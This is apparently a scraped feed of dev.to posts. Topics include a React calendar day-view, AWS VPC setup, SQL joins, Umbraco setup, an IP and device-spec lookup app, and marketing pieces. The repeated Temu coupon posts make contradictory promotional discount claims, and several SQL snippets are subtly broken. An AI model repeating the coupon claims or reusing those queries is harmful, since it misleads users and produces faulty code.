endOfDay, startOfDay, eachHourOfInterval } from "date-fns"; import type { Event } from "../types"; export type DayViewProps = { date: Date; events?: Event[]; }; export const DayView: React.FC<DayViewProps> = ({ date }) => { const hours = eachHourOfInterval({ start: startOfDay(date), end: endOfDay(date), }); return ( <section id="calendar-day-view" className="flex-1 h-full"> <div className="border-b flex"> <div className="w-24 h-14 flex justify-center items-center"> <span className="text-xs">{format(new Date(), "z")}</span> </div> <div className="flex flex-col flex-1 justify-center items-center border-l"></div> </div> <div className="flex-1 max-h-full overflow-y-scroll pb-28"> <div className="relative"> {hours.map((time, index) => ( <div className="h-14 flex" key={time.toISOString() + index}> <div className="h-full w-24 flex items-start justify-center"> <time className="text-xs -m-3 select-none" dateTime={format(time, "yyyy-MM-dd")} > {index === 0 ? "" : format(time, "h a")} </time> </div> <div className="flex-1 relative border-b border-l" /> </div> ))} </div> </div> </section> ); }; ``` For now the results looks like:  --- ## Current time Now let's show the current time for today. To do this, we need to calculate the top offset of the line, which requires knowing the container height that includes all time slots and the time that has passed since the beginning of the day. The formula looks sth like:  With this formula, we can build a component that accepts the container height and calculates the top offset within the interval every minute. ```tsx import { useState, useEffect } from "react"; import { startOfDay, differenceInMinutes } from "date-fns"; const ONE_MINUTE = 60 * 1000; const MINUTES_IN_DAY = 24 * 60; type DayProgressProps = { containerHeight: number; }; export const DayProgress: React.FC<DayProgressProps> = ({ containerHeight, }) => { const [top, setTop] = useState(0); const today = new Date(); const startOfToday = startOfDay(today); useEffect(() => { const updateTop = () => { const minutesPassed = differenceInMinutes(today, startOfToday); const percentage = minutesPassed / MINUTES_IN_DAY; const top = percentage * containerHeight; setTop(top); }; updateTop(); const interval = setInterval(() => updateTop(), ONE_MINUTE); return () => clearInterval(interval); }, [containerHeight]); return ( <div aria-hidden style={{ top }} aria-label="day time progress" className="h-1 w-full absolute left-24 -translate-y-1/2" > <div className="relative w-full h-full"> <div aria-label="current time dot" className="w-4 aspect-square rounded-full absolute -left-2 top-1/2 -translate-y-1/2 bg-[rgb(234,67,53)]" /> <div aria-label="current time line" className="h-[2px] w-full absolute top-1/2 -translate-y-1/2 bg-[rgb(234,67,53)]" /> </div> </div> ); }; ``` --- ## Events grouping and displaying I will separate events into two groups: those that last all day or longer and those that occur only during this day, the logic behind this is shown below. ```typescript import { add, isAfter, isBefore, isSameDay, isWithinInterval } from "date-fns"; import type { Event } from "../types"; export type GroupedEvents = { allDayEvents: Event[]; eventGroups: Event[][]; }; const createGroups = ( events: Event[], groupedEvents: Event[][] = [] ): Event[][] => { if (events.length <= 0) return groupedEvents; const [first, ...rest] = events; const eventsInRage = rest.filter((event) => isWithinInterval(event.start_date, { start: first.start_date, end: add(first.end_date, { minutes: -1 }), }) ); const group = [first, ...eventsInRage]; const sliced = rest.slice(eventsInRage.length); groupedEvents.push(group); return createGroups(sliced, groupedEvents); }; export const groupEvents = (date: Date, events: Event[]): GroupedEvents => { const eventsPresentToday = events.filter((event) => { const startBeforeEndToday = isBefore(event.start_date, date) && isSameDay(event.end_date, date); const startTodayEndAfter = isSameDay(event.start_date, date) && isAfter(event.end_date, date); const startTodayEndToday = isSameDay(event.start_date, date) && isSameDay(event.end_date, date); const startBeforeEndAfter = isBefore(event.start_date, date) && isAfter(event.end_date, date); return ( startTodayEndAfter || startTodayEndToday || startBeforeEndToday || startBeforeEndAfter ); }); const [allDayEvents, thisDayEvents]: Event[][] = eventsPresentToday.reduce( (acc: Event[][], cur) => { if (isBefore(cur.start_date, date) && isAfter(cur.end_date, date)) { acc[0].push(cur); } if (isSameDay(cur.start_date, date) && isSameDay(cur.end_date, date)) { acc[1].push(cur); } return acc; }, [[], []] ); const eventGroups = createGroups(thisDayEvents); return { eventGroups, allDayEvents }; }; ``` Now that the events are grouped, they need to be displayed properly. Here are a few parameters that are required: group length, container height, and event index. All of these are important for calculating the event's width, top offset, and z-index to ensure the proper position. ```tsx import { startOfDay, differenceInMinutes, format } from "date-fns"; import { Event } from "../types"; const MINUTES_IN_DAY = 24 * 60; type DayEventProps = { day: Date; event: Event; index: number; grouplength: number; containerHeight: number; }; export const DayEvent: React.FC<DayEventProps> = ({ day, event, index, grouplength, containerHeight, }) => { const today = startOfDay(day); const eventDuration = differenceInMinutes(event.end_date, event.start_date); const generateBoxStyle = () => { const minutesPassed = differenceInMinutes(event.start_date, today); const percentage = minutesPassed / MINUTES_IN_DAY; const top = percentage * containerHeight; const height = (eventDuration / MINUTES_IN_DAY) * containerHeight; const isLast = index === grouplength - 1; let widthPercentage = grouplength === 1 ? 1 : (1 / grouplength) * 1.7; if (isLast) { widthPercentage = 1 / grouplength; } const styles = { top, height, padding: "2px 8px", zIndex: 100 + index, width: `calc((100% - 96px) * ${widthPercentage})`, }; if (isLast) { return { ...styles, right: 0 }; } return { ...styles, left: `calc(100px + 100% * ${(1 / grouplength) * index})`, }; }; return ( <div style={generateBoxStyle()} className="bg-blue-400 border border-white rounded cursor-pointer absolute" > <h1 className="text-white text-xs"> {`${event.title}, ${format(event.start_date, "h:mm a")} - ${format(event.end_date, "h:mm a")}`} </h1> </div> ); }; ``` Regarding events that last all day or longer, they are presented as a simple container with some CSS, so it is not worth mentioning here. The end result looks like:  --- ## Conclusion That's it for now. In the next part, I will cover the week view. However, I'm not sure when that will be, as the terrorist state of Russia is still attacking our cities and people, that is why I have some trouble with electricity and also a have more workload. So, see you in a while (maybe). The complete day-view can be found [here](https://github.com/cookieMonsterDev/google-calendar-clone/tree/day-view).

cookiemonsterdev

AWS Networking

Setting Up a Virtual Private Cloud (VPC) Objective: Create a VPC to isolate...

https://dev.to/sukuru_naga_sai_srinivasu/aws-networking-18oe

 ## Setting Up a Virtual Private Cloud (VPC) Objective: Create a VPC to isolate resources. 1. Log into AWS Management Console. 2. Navigate to the VPC dashboard. 3. Click on "Create VPC". 4. Enter details: 5. Name: my-new-vpc 6. IPv4 CIDR block: 10.0.0.0/16 (explained as a range of IP addresses available within the VPC). 7. Click "Create VPC". ## Creating Public and Private Subnets Objective: Establish separate network segments within the VPC for public and private resources. Navigate to the Subnets section within the VPC dashboard. ## Public Subnet: 1. Click on "Create Subnet". 2. Name: public-subnet 3. VPC: my-new-vpc 4. Availability Zone: us-east-1a 5. IPv4 CIDR block: 10.0.0.0/24 ## Private Subnet: 1. Name: private-subnet 2. VPC: my-new-vpc 3. Availability Zone: us-east-1b 4. IPv4 CIDR block: 10.0.1.0/24 5. Launching EC2 Instances ## Launching a Public EC2 Instance Objective: Deploy an Amazon EC2 instance in the public subnet. 1. Navigate to the EC2 dashboard. 2. Click on "Launch Instance". 3. Configure instance details: 4. Name: my-public-instance 5. Instance Type: t2.micro 6. Network: my-new-vpc 7. Subnet: public-subnet 8. Auto-assign Public IP: Enable 9. Security Group: Create or select SG-public with SSH rule. 10. Launch the instance. 11. Availability Zone: us-east-1a ## Launching a Private EC2 Instance Objective: Deploy another EC2 instance in the private subnet. 1. Navigate to the EC2 dashboard. 2. Click on "Launch Instance". 3. Configure instance details: 4. Name: my-private-instance 5. Instance Type: t2.micro 6. Network: my-new-vpc 7. Subnet: private-subnet 8. Security Group: Create or select SG-private with SSH rule. 9. Launch the instance. 10. Availability Zone: us-east-1b 11. Internet Access with Internet Gateway ## Setting Up Internet Gateway Objective: Enable internet access for resources in the public subnet. 1. Navigate to the VPC dashboard. 2. Click on "Internet Gateways". 3. Create a new Internet Gateway named my-internet-gateway. 4. Attach the Internet Gateway to my-new-vpc. ## Configuring Route Tables Objective: Direct traffic from the public subnet to the Internet Gateway. 1. Navigate to the Route Tables section in the VPC dashboard. 2. Create a new route table for the public subnet named public-route-table. 3. Edit the public-route-table: 4. Add a route: 5. Destination: 0.0.0.0/0 6. Target: my-internet-gateway 7. Associate the public-route-table with the public-subnet. ## Accessing Private Instance via Public Instance • Accessing the Private Instance

sukuru_naga_sai_srinivasu

FINQ's weekly market insights: Peaks and valleys in the S&P 500 – July 4, 2024

Unveil this week's market dynamics, spotlighting the S&amp;P 500's leaders and laggards with FINQ's...

https://dev.to/eldadtamir/finqs-weekly-market-insights-peaks-and-valleys-in-the-sp-500-july-4-2024-4516

sp500, ai, stockmarket, investing

Unveil this week's market dynamics, spotlighting the S&P 500's leaders and laggards with FINQ's precise AI analysis. ## **Top achievers:** - **Amazon (AMZN)**: Maintains its lead at the top. - **Salesforce (CRM)**: Reclaims second place due to competitor declines. - **Alphabet Inc (GOOGL)**: Climbs into the top three with improved Professional Wisdom. ## **Facing challenges:** - **Loews Corp (L)**: Continues to struggle, leading the bottom. - **Davita Inc (DVA)**: Remains in the bottom three. - **Viatris Inc (VTRS)**: Reenters the bottom ranks as scores drop. Get the full scoop on market movements with our detailed analysis and strategic insights. **Disclaimer**: This information is for educational purposes only and is not financial advice. Always consider your financial goals and risk tolerance before investing.

eldadtamir

How to Create a New Umbraco Project: A Step-by-Step Guide

Introduction to Umbraco Umbraco is a highly versatile and user-friendly CMS that allows...

https://shekhartarare.com/Archive/2024/6/how-to-create-a-new-umbraco-project

umbraco, beginners, tutorial, webdev

## Introduction to Umbraco Umbraco is a highly versatile and user-friendly CMS that allows developers to create dynamic websites and applications. Known for its flexibility and extensive customization options, Umbraco is ideal for a range of projects from small blogs to large enterprise solutions. ## Prerequisites Before you begin, ensure you have the following prerequisites: - Visual Studio 2019 or later - NET SDK installed (version 8) ## Installing Umbraco To install Umbraco, follow these steps: **Step 1: Install Umbraco Template** dotnet new install Umbraco.Templates::13.4.0 to install the project templates. After installing that, you will see the umbraco templates while creating a new project.  **Step 2: Create a New Project** Open Visual Studio and create a new Umbraco Project. Name your project and choose the appropriate location. Select the Framework and fill other additional information if needed.  ## Setting Up Your project Run the project. You will get the below screen. Add your details and click on Change database if you don’t want to use SQLite and click on Install.  You will get the below screen. Add your credentials and login.  After login, this screen will come:  ## Conclusion Creating a new Umbraco project is straightforward and highly customizable, making it a great choice for developers of all levels. By following this step-by-step guide, you can set up your Umbraco project and start building dynamic, content-rich websites. If you found this guide helpful, consider sharing it with others looking to get started with Umbraco. Happy coding!

shekhartarare

Temu coupon code : "AAV67880 or AAF63818": $100 off + 40% discount for both new and existing customers

Here are details about the Temu coupons for new and existing customers: Temu coupon code :...

https://dev.to/sonuprasad/temu-coupon-code-aav67880-or-aaf63818-100-off-40-discount-for-both-new-and-existing-customers-3i7m

Here are details about the Temu coupons for new and existing customers: - Temu coupon code : "AAV67880 or AAF63818": $100 off + 40% discount for both new and existing customers - Temu coupon code "AAV67880 or AAF63818": $100 off for both new and existing customers - Temu coupon code "AAV67880 or AAF63818": 40% off for existing customers - Temu coupon code "AAV67880 or AAF63818": $40 off for both new and existing customers - New users can get a maximum discount of 75% on their first purchase - Existing users can get up to 40% off on select items

sonuprasad

Temu coupon code : "AAV67880 or AAF63818": $100 off for both new and existing customers

Here are details about the Temu coupons for new and existing customers ¹: Temu coupon code :...

https://dev.to/sonuprasad/temu-coupon-code-aav67880-or-aaf63818-100-off-for-both-new-and-existing-customers-4lmm

Here are details about the Temu coupons for new and existing customers ¹: - Temu coupon code : "AAV67880 or AAF63818": $100 off for both new and existing customers - Temu coupon code "AAV67880 or AAF63818": $100 off for new customers - Temu coupon code "AAV67880 or AAF63818": $100 off for existing customers - Validity: June 2024 - Offers: - Up to 75% discount for new users - Up to 90% discount on select items and clearance sales - 40% discount for existing users

sonuprasad

A Complete Guide to Different Types of Joins in SQL

In SQL databases, relations between tables are established through keys, which help maintain data...

https://antondevtips.com/blog/a-complete-guide-to-different-types-of-joins-in-sql

database, sql, postgres

--- canonical_url: https://antondevtips.com/blog/a-complete-guide-to-different-types-of-joins-in-sql --- In SQL databases, relations between tables are established through keys, which help maintain data integrity and ensure that the data is logically connected. **Joins** are fundamental to SQL queries, allowing you to combine data from two or more tables based on related columns. This guide explores different types of joins, providing explanations and examples to help you master their usage. > **_On my website: [antondevtips.com](https://antondevtips.com/blog/a-complete-guide-to-different-types-of-joins-in-sql?utm_source=newsletter&utm_medium=email&utm_campaign=05_07_24) I already have Database blog posts._** > **_[Subscribe](https://antondevtips.com/#subscribe) as more are coming._** ## Why Do We Need Joins? Joins are essential because they allow you to: * **Combine Data:** fetch data from multiple tables based on related columns. * **Avoid Data Duplication:** maintain data normalization by using multiple tables, reducing redundancy. Joins are performed on columns that have a logical relationship. These columns typically have the same data type and meaning. In SQL you can perform the following **joins**: * Inner Join * Left Join * Right Join * Full Join * Cross Join * Self Join * Union Most of the joins in SQL have the common syntax: ```sql SELECT table1.column1, table2.column2 FROM table1 INNER JOIN table2 ON table1.common_column = table2.common_column; ``` In place of `INNER JOIN` you can use any other join. > All SQL queries from this blog post were tested in the **Postgres database**. While the similar SQL syntax can be used in other databases. ## Inner Join The **INNER JOIN** returns only the rows that match values in both tables. For better understanding, have a look at the following image with Table A and Table B:  Here, the rows that are returned by inner join have a colored background. As you can see, the rows that match values in both tables are in the middle of Table A and Table B. We will use this circle's example for all other joins. In this post I'll showcase all types of joins for `employees` and `departments` tables. Where the `employee` has a foreign key to `departments` table: ```sql CREATE TABLE departments ( id INT PRIMARY KEY, name VARCHAR(100) NOT NULL, location VARCHAR(100) ); CREATE TABLE employees ( id INT PRIMARY KEY, name VARCHAR(100) NOT NULL, department_id INT FOREIGN KEY REFERENCES departments(id), job_title VARCHAR(100) ); ``` Let's insert some data into these tables:  You can select `employees` and their `departments` by using **INNER JOIN** SQL statement: ```sql SELECT employees.name, departments.name FROM employees INNER JOIN departments ON employees.department_id = departments.id; ``` **INNER JOIN** returns only those `employees` that have matching `departments`.  When making joins, you can use **table aliases** for brevity: ```sql SELECT employees.name, departments.name FROM employees e INNER JOIN departments d ON e.department_id = d.id; ``` ## Left Join The **LEFT JOIN** (also called LEFT OUTER JOIN) returns all rows from the left table and the matched rows from the right table. If no match is found, NULL values are returned for columns from the right table:  ```sql SELECT employees.name, departments.name FROM employees LEFT JOIN departments ON employees.department_id = departments.id; ``` **LEFT JOIN** returns all rows from the `employees` table. For those rows that have matching `departments`, the `department_id` will have a corresponding value from the `departments` table. If there is no matching department, the result will show `NULL` for the `department_name`.  If you need to remove the `employees` rows that don't have a matching `department`, you can add the `WHERE` clause to filter the NULL rows: ```sql SELECT employees.name, departments.name FROM employees LEFT JOIN departments ON employees.department_id = departments.id WHERE departments.id IS NOT NULL; ```  You can see a visualization of this case on the picture:  ## Right Join The **RIGHT JOIN** (also called RIGHT OUTER JOIN) returns all rows from the right table and the matched rows from the left table. If no match is found, NULL values are returned for columns from the left table:  ```sql SELECT employees.name, departments.name FROM employees RIGHT JOIN departments ON employees.department_id = departments.id; ``` **RIGHT JOIN** returns all rows from the `departments` table. For those rows that have matching `employees`, the `department_id` in the `employees` table will have a corresponding value. If there is no matching employee, the result will show `NULL` for the corresponding column.  If you need to remove the `department` rows that don't have a matching `employee`, you can add the `WHERE` clause to filter the NULL rows: ```sql SELECT employees.name, departments.name FROM employees RIGHT JOIN departments ON employees.department_id = departments.id WHERE employees.id IS NOT NULL; ```  You can see a visualization of this case on the picture:  ## Full Join The **FULL JOIN** (also called FULL OUTER JOIN) returns all rows when there is a match in either left or right table. Rows without a match in one of the tables will have NULL values for columns of that table:  ```sql SELECT employees.name, departments.name FROM employees FULL JOIN departments ON employees.department_id = departments.id; ``` **FULL JOIN** returns all rows when there is a match in either the `employees` or the `departments` table. For those rows that have matching departments, the `department_id` will have a corresponding value from the `departments` table. If there is no matching department, the result will show `NULL` for the `department.name`. Similarly, if there is no matching `employee`, the result will show NULL for the `employees.name` column.  If you need to get a list of all `employees` and `departments` but exclude rows where there are NULLs on both sides, you can add the `WHERE` clause to filter the NULL rows: ```sql SELECT employees.name, departments.name FROM employees FULL JOIN departments ON employees.department_id = departments.id WHERE employees.id IS NOT NULL AND departments.id IS NOT NULL; ```  You can see a visualization of this case on the picture:  ## Cross Join The **CROSS JOIN** returns the cartesian product of the two tables, combining each row of the first table with all rows of the second table. **CROSS JOIN** has a different syntax, comparing to other joins: ```sql SELECT table1.column1, table2.column2 FROM table1 CROSS JOIN table2; ``` Let's have a look at example: ```sql SELECT employees.name, departments.name FROM employees CROSS JOIN departments; ``` **CROSS JOIN** returns the cartesian product of the `employees` and `departments` tables. This means that each row from the `employees` table is combined with each row from the `departments` table, resulting in all possible combinations of rows between the two tables.  ## Self Join A **SELF JOIN** is a regular join, but the table is joined with itself. **SELF JOIN** has a different syntax, comparing to other joins: ```sql SELECT a.column1, b.column2 FROM table a, table b WHERE condition; ``` To showcase this type of join, let's add the `manager_id` column to the `employees`: ```sql ALTER TABLE employees ADD COLUMN manager_id INT; ``` This column has a reference to `employees` table, without a foreign key. Now we can make a **SELF JOIN**: ```sql SELECT e1.name AS Employee, e2.name AS Manager FROM employees e1, employees e2 WHERE e1.manager_id = e2.id; ``` In this example, we are joining the `employees` table to itself. This can be used to find pairs of `employees` where one is the `manager` of the other. Each row in the `employees` table is compared with every other row to find matching rows.  ## Union The **UNION** operator stays aside from all joins. **UNION** is used to combine the results of multiple tables or `SELECT` statements into a single result set. First, let's explore the syntax of **UNION** operator: ```sql SELECT column1, column2, ... FROM table1 UNION SELECT column1, column2, ... FROM table2; ``` Now, let's have a look at example: ```sql SELECT 'Department' AS Type, name AS Name FROM Departments UNION SELECT 'Employee' AS Type, name as Name FROM employees; ``` The first `SELECT` statement retrieves data from the `departments` table, the other - from the `employees` table. The **UNION** operator combines these results into a single result set, where the `Type` column indicates whether the row represents a department or an employee.  By default, **UNION** eliminates duplicate rows from the result set. If you want to include duplicates, you can use **UNION ALL**. ```sql SELECT 'Department' AS Type, name AS Name FROM Departments UNION ALL SELECT 'Employee' AS Type, name as Name FROM employees; ``` **There are few limitations when using a UNION statement:** * **Column Count and Data Types:** each `SELECT` statement within the `UNION` must have the same number of columns and the corresponding columns must have compatible data types. * **Order of Columns:** the order of columns must be the same in all `SELECT` statements. You can sort the final result set using the `ORDER BY` clause after the last `SELECT` statement: ```sql SELECT 'Department' AS Type, DepartmentName AS Name, Location AS Details FROM Departments UNION ALL SELECT 'Employee', EmployeeName, JobTitle FROM Employees; ``` ## When To Use Each Type of Join ### Inner Join Inner Join: Use this join when you need to retrieve only the rows that have matching values in both tables, which is ideal when you need intersection of the datasets. ### Left Join Left Join: Use this join when you need all rows from the left table and the matching rows from the right table, including cases where there might not be a match, which is useful for keeping all data from the left table. ### Right Join Right Join: Use this join when you need all rows from the right table and the matching rows from the left table, including cases where there might not be a match, which is useful for keeping all data from the right table. ### Full Join Full Join: Use this join when you need all rows when there is a match in either left or right table, which is helpful for a complete view that includes all records from both tables regardless of matching. ### Cross Join Cross Join: Use this join when you need to create a Cartesian product of the tables, which is typically used for generating combinations of rows or for testing purposes. ### Self Join Self Join: Use this join when you need to compare rows within the same table, which is useful for hierarchical data or for finding relationships among rows in a single dataset. ### Union Union: Use this operation when you need to combine the results of two or more SELECT queries into a single result set, eliminating duplicates, which is ideal for merging similar datasets from different sources. > **_On my website: [antondevtips.com](https://antondevtips.com/blog/a-complete-guide-to-different-types-of-joins-in-sql?utm_source=newsletter&utm_medium=email&utm_campaign=05_07_24) I already have Database blog posts._** > **_[Subscribe](https://antondevtips.com/#subscribe) as more are coming._**

antonmartyniuk

Wix Challenge Simple Entry

This is a submission for the Wix Studio Challenge . What I Built Its a Shop that has just...

https://dev.to/cyprian_maina_917603f2538/wix-challenge-simple-entry-5h0a

devchallenge, wixstudiochallenge, webdev, javascript

*This is a submission for the [Wix Studio Challenge ](https://dev.to/challenges/wix).* ## What I Built Its a Shop that has just built its first website. the user can log in browse the store and purchase. ## Demo https://cyprianmaina10.wixstudio.io/my-site-1 ## Development Journey Being a no code environment first most of the heavy lifting was already done for me. I joined 2nd this month and thanks to Wix Essential tutorial they have taught me great basic skills. Wix has blown me away by what this platform can do and I have just scratched the surface. I used two API's Wix Store and Wix Members Manager 

cyprian_maina_917603f2538

IpLookup website - know your device IP in the network and device specifications

https://ip.mithileshdev.co/ Dev Blog: Building a Web App to Display IP Address,...

https://dev.to/kingsmen732/ip-lookup-website-1pl9

javascript, webdev, opensource, networking

> [https://ip.mithileshdev.co/](url) ## Dev Blog: Building a Web App to Display IP Address, Geolocation, and Device Specs  **Introduction** In this blog, I'll walk you through the process of building a web application that displays your IP address, geolocation, and detailed device specifications. This project was a fantastic learning experience, showcasing the power of modern web technologies and APIs. Project Overview Our web app provides the following features: - IP Address and Geolocation - Device Specifications - Network Information Let's dive into the implementation, breaking it down into small, digestible snippets. Setting Up the Project We started with a basic HTML structure to create the foundation of our web app. This simple setup includes placeholders for the different pieces of information we plan to display. Fetching IP Address and Geolocation **To get the user's IP address and geolocation, we used the IP Geolocation API. Here's the snippet for fetching and displaying this data:** ``` javascript async function fetchIPAndLocation() { const response = await fetch('https://api.ipgeolocation.io/ipgeo?apiKey=YOUR_API_KEY'); const data = await response.json(); document.getElementById('ip-address').innerText = `IP Address: ${data.ip}`; document.getElementById('location').innerText = `Location: ${data.city}, ${data.country_name} (Lat: ${data.latitude}, Lon: ${data.longitude})`; } fetchIPAndLocation(); ``` Using fetch, we make an API call to get the IP address and geolocation data, then update the HTML with this information. Gathering Device Specifications **To collect various device specs, we used multiple browser APIs. This snippet illustrates how to get screen size, device memory, CPU cores, and GPU info:** ``` javascript function getDeviceSpecs() { const specs = {}; specs.screenWidth = window.screen.width; specs.screenHeight = window.screen.height; specs.deviceMemory = navigator.deviceMemory || 'N/A'; specs.hardwareConcurrency = navigator.hardwareConcurrency || 'N/A'; const gl = document.createElement('canvas').getContext('webgl'); specs.gpu = gl.getParameter(gl.UNMASKED_RENDERER_WEBGL); document.getElementById('device-specs').innerHTML = ` <h2>Device Specs:</h2> <p>Screen Size: ${specs.screenWidth} x ${specs.screenHeight}</p> <p>Device Memory: ${specs.deviceMemory} GB</p> <p>CPU Cores: ${specs.hardwareConcurrency}</p> <p>GPU: ${specs.gpu}</p> `; } getDeviceSpecs(); ``` We accessed properties like window.screen.width and navigator.deviceMemory, and used WebGL to get GPU information. Displaying Battery Information **The Battery Status API provides battery level details:** ``` javascript async function getBatteryInfo() { const battery = await navigator.getBattery(); document.getElementById('device-specs').innerHTML += ` <p>Battery Level: ${battery.level * 100}%</p> <p>Battery Temperature: Not directly available, simulated value: 30°C</p> `; } getBatteryInfo(); ``` Although direct battery temperature isn't available, we simulated it for demonstration purposes. Fetching Network Information **We used the Network Information API to display network details:** ``` javascript function getNetworkInfo() { const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; const type = connection.effectiveType; const downlink = connection.downlink; const rtt = connection.rtt; document.getElementById('network-info').innerHTML = ` <h2>Network Info:</h2> <p>Connection Type: ${type}</p> <p>Downlink: ${downlink} Mbps</p> <p>RTT: ${rtt} ms</p> `; } getNetworkInfo(); ``` This snippet accesses connection properties to show the type, downlink speed, and round-trip time. Calculating FPS **For calculating FPS, we used the Performance API:** ``` javascript function calculateFPS() { let lastFrame = performance.now(); let frameCount = 0; let fps = 0; function loop() { const now = performance.now(); frameCount++; if (now - lastFrame >= 1000) { fps = frameCount; frameCount = 0; lastFrame = now; document.getElementById('device-specs').innerHTML += `<p>FPS: ${fps}</p>`; } requestAnimationFrame(loop); } loop(); } calculateFPS(); ``` By measuring the time between frames, we calculated and displayed the FPS. **Conclusion** Building this web application was a fantastic experience, allowing us to explore various web APIs and enhance our understanding of client-side scripting. The combination of these technologies resulted in a comprehensive tool that provides users with insightful information about their device and network. Feel free to explore and extend this project. The full code is available on our GitHub repository. Happy coding!

kingsmen732

Machine Learning

IUST Deep Learning Course (Prof. Mohammad Reza Mohammadi, Iran University of Science and Technology)

https://dev.to/pouyasonej/machine-learning-4hb

IUST Deep Learning Course (Prof. Mohammad Reza Mohammadi, Iran University of Science and Technology)

pouyasonej

Unlocking the Power of Compliance Data: A Key to ESG Excellence

In today's rapidly evolving business landscape, organizations are increasingly held to higher...

https://dev.to/ankit_langey_3eb6c9fc0587/unlocking-the-power-of-compliance-data-a-key-to-esg-excellence-3jc8

inrate, esg, data, solutions

 In today's rapidly evolving business landscape, organizations are increasingly held to higher standards of transparency and accountability. Regulatory frameworks and stakeholder expectations are driving companies to prioritize not just financial performance, but also environmental, social, and governance (ESG) factors. At the heart of this shift lies a crucial element: compliance data. What is Compliance Data? Compliance data encompasses a range of information that organizations must collect, manage, and report to ensure adherence to regulatory requirements and industry standards. This data includes metrics related to environmental impact, social responsibility, corporate governance, and more. Accurate and comprehensive compliance data is essential for demonstrating a company's commitment to ethical practices and sustainable development. Why Compliance Data Matters Regulatory Adherence: Compliance with laws and regulations is non-negotiable. Accurate compliance data ensures that organizations meet legal requirements, avoiding costly fines and reputational damage. Risk Management: Identifying and mitigating risks is a cornerstone of effective governance. Compliance data helps organizations pinpoint potential vulnerabilities and implement strategies to address them proactively. Stakeholder Trust: Transparency is a key driver of trust. By providing stakeholders with clear, verifiable data, companies can build and maintain trust with investors, customers, employees, and communities. Performance Improvement: Analyzing compliance data allows organizations to benchmark their performance against industry standards and best practices, fostering continuous improvement and innovation. Leveraging Compliance Data for ESG Success Integrating compliance data into an organization's ESG strategy can unlock significant value. Here’s how: Holistic Reporting: Compliance data provides a comprehensive view of an organization's ESG performance, enabling more robust and insightful reporting. This transparency is crucial for attracting ESG-focused investors and customers. Strategic Decision-Making: Data-driven insights empower leaders to make informed decisions that align with ESG goals. This includes identifying opportunities for sustainable growth, enhancing operational efficiency, and improving stakeholder engagement. Enhanced Accountability: Robust compliance data systems ensure accountability at all levels of the organization. Clear metrics and reporting structures make it easier to track progress, set targets, and hold teams accountable for ESG performance. The Role of Advanced Solutions Innovative platforms and tools are revolutionizing the way organizations manage compliance data. One such example is Inrate’s Compliance Data Solutions, which provide tailored ESG data services to help companies navigate the complexities of compliance and achieve their sustainability objectives. Inrate's comprehensive approach ensures that organizations have access to reliable, accurate, and actionable data, empowering them to meet regulatory requirements and exceed stakeholder expectations. Conclusion Compliance data is not just a regulatory necessity; it is a strategic asset that drives ESG excellence. By leveraging advanced data solutions, organizations can enhance their transparency, accountability, and performance, paving the way for sustainable success. Embracing the power of compliance data is essential for any organization committed to making a positive impact on society and the environment. For more insights into how compliance data can transform your ESG strategy, visit Inrate’s Compliance Data Solutions.

ankit_langey_3eb6c9fc0587

Tips for PPC Interview Questions and Answers

Securing a job position in Pay Per Click (PPC) advertising requires more than just technical...

https://dev.to/prepmagic/pay-per-click-ppc-advertising-requires-more-than-just-technical-know-how-4c0k

Securing a job position in Pay Per Click (PPC) advertising requires more than just technical know-how. It demands a deep understanding of **[PPC interview questions and answers](https://prepmagic.in/ppc-interview-questions-and-answers-experienced/)** and effective strategies to ace the process. The realm of digital advertising is ever-evolving, and Pay Per Click (PPC) remains a cornerstone of online marketing strategies. As businesses increasingly rely on PPC campaigns to drive targeted traffic and conversions, the demand for skilled PPC professionals continues to rise. However, landing your dream job in PPC isn't just about showcasing your technical skills—it's about demonstrating your ability to think strategically, analyze data, and optimize campaigns effectively. Before delving into PPC interview questions and answers, it's crucial to grasp the fundamental concepts of PPC advertising. PPC, also known as paid search advertising, allows advertisers to bid for ad placement in a search engine's sponsored links when someone searches using a keyword relevant to their business offering. The advertiser pays a fee each time their ad is clicked, hence the name "Pay Per Click." Preparing for Your PPC Interview Preparation is key to succeeding in any job interview, and PPC interviews are no exception. Here are some essential tips to help you : 1. Master the Basics : Ensure you have a solid understanding of PPC terminology, metrics (such as CPC, CTR, and Quality Score), and the different types of PPC campaigns (Search, Display, Shopping, etc.). 2. Stay Updated : The digital marketing landscape is dynamic. Stay abreast of industry trends, algorithm updates (like Google Ads), and best practices. 3. Practice Common Questions : While specific questions can vary, expect inquiries about campaign optimization, budget management, keyword strategy, and performance analysis. Practice formulating concise and insightful responses. 4. Demonstrate Analytical Skills : Be prepared to discuss how you've used data analysis to optimize campaigns, improve ROI, or solve challenges in previous roles or projects. 5. Showcase Your Results : Highlight specific achievements, such as increasing conversion rates, lowering CPC, or expanding reach through strategic campaign adjustments. Key Areas to Focus On During your PPC interview, expect questions that probe into various aspects of campaign management, strategy development, and analytical thinking. Here are some key areas to cover: 1. Campaign Management : Discuss your approach to setting up and managing PPC campaigns, including budget allocation, keyword selection, ad copy testing, and bid management strategies. 2. Keyword Strategy : Explain how you conduct keyword research, choose relevant keywords, and optimize keyword lists to improve campaign performance and target audience reach. 3. Ad Copy and Creative : Demonstrate your ability to create compelling ad copy and visuals that resonate with the target audience and encourage clicks and conversions. 4. Analytics and Reporting : Illustrate your proficiency in using analytics tools (like Google Analytics and Google Ads) to monitor campaign performance, identify trends, and make data-driven decisions. 5. Budget Management : Articulate how you allocate and optimize campaign budgets to achieve maximum ROI, balancing cost per acquisition (CPA) goals with campaign objectives. PPC Interview Tips to Ace your Interview… Beyond technical knowledge, certain tips can enhance your performance during a PPC interview: 1. Be Clear and Concise : Practice articulating your thoughts clearly and concisely, especially when explaining complex concepts or discussing campaign strategies. 2. Ask Intelligent Questions : Show your interest and initiative by asking thoughtful questions about the company's PPC goals, challenges, and future plans. 3. Highlight Your Learning Agility : Emphasize your ability to adapt to new technologies, learn quickly, and stay ahead of industry trends. 4. Discuss Your Passion : Share your enthusiasm for PPC advertising and digital marketing. Employers value candidates who demonstrate genuine passion for their field. 5. Follow Up : After the interview, send a thank-you email expressing your appreciation for the opportunity and reiterating your interest in the position. Conclusion Cracking a PPC interview requires a blend of technical expertise, strategic thinking, and effective communication skills. By mastering PPC interview questions and answers, understanding the nuances of campaign management, and staying updated with industry trends, you can position yourself as a standout candidate in the competitive world of digital advertising. Remember, preparation is the key to success—so invest the time and effort needed to showcase your capabilities and secure your next career milestone in PPC advertising. Stay focused, stay prepared, and let your passion for PPC advertising shine through every step of the interview process.

prepmagic

Paper detailing BitPower Loop’s security

Security Research of BitPower Loop BitPower Loop is a decentralized lending platform based on...
